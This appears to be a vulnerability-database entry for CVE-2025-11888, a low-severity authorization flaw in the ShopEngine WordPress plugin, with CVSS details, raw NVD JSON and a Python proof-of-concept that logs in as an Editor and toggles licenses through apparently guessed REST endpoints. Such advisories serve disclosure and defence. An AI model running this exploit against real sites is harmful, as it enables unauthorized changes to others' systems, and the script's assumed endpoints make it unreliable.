Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-11888 CVSS 2.7 LOW

CVE-2025-11888

Published: 2025-10-25 06:15:36
Last Modified: 2026-04-15 00:35:42

Description

The ShopEngine Elementor WooCommerce Builder Addon – All in One WooCommerce Solution plugin for WordPress is vulnerable to unauthorized modification of data due to an insufficient capability check on the post_deactive() function and post_activate() function in all versions up to, and including, 4.8.4. This makes it possible for authenticated attackers, with Editor-level access and above, to activate and deactivate licenses.

CVSS Details

CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

ShopEngine plugin for WordPress < 4.8.5 (all versions up to and including 4.8.4)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys from urllib.parse import urljoin # CVE-2025-11888 PoC - ShopEngine Plugin License Activation/Deactivation Bypass # Authenticated users with Editor role can activate/deactivate licenses def exploit_cve_2025_11888(target_url, username, password, action='deactivate'): """ Exploit for CVE-2025-11888 target_url: Target WordPress site URL username: WordPress username with Editor role or higher password: User password action: 'activate' or 'deactivate' """ session = requests.Session() # Step 1: Login to WordPress login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f"[*] Logging in as {username}...") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies) and 'wp-settings' not in response.url: print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Exploit the vulnerable endpoint if action == 'deactivate': endpoint = '/wp-json/shopengine/v1/license/deactivate' else: endpoint = '/wp-json/shopengine/v1/license/activate' exploit_url = urljoin(target_url, endpoint) print(f"[*] Sending {action} request to {exploit_url}...") exploit_data = { 'license_key': 'any-license-key-here' # May not be required } response = session.post(exploit_url, json=exploit_data) if response.status_code == 200: print(f"[+] License {action} successful!") print(f"[+] Response: {response.text}") return True else: print(f"[-] Exploit failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") return False if __name__ == '__main__': if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <action>") print("Example: python exploit.py http://example.com admin password123 deactivate") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] action = sys.argv[4] exploit_cve_2025_11888(target, user, pwd, action)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11888", "sourceIdentifier": "[email protected]", "published": "2025-10-25T06:15:35.690", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ShopEngine Elementor WooCommerce Builder Addon – All in One WooCommerce Solution plugin for WordPress is vulnerable to unauthorized modification of data due to an insufficient capability check on the post_deactive() function and post_activate() function in all versions up to, and including, 4.8.4. This makes it possible for authenticated attackers, with Editor-level access and above, to activate and deactivate licenses."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3381211/shopengine/tags/4.8.5/libs/license/license-route.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7bdadc84-0cfb-4bec-aeb9-f59f205d269b?source=cve", "source": "[email protected]"}]}}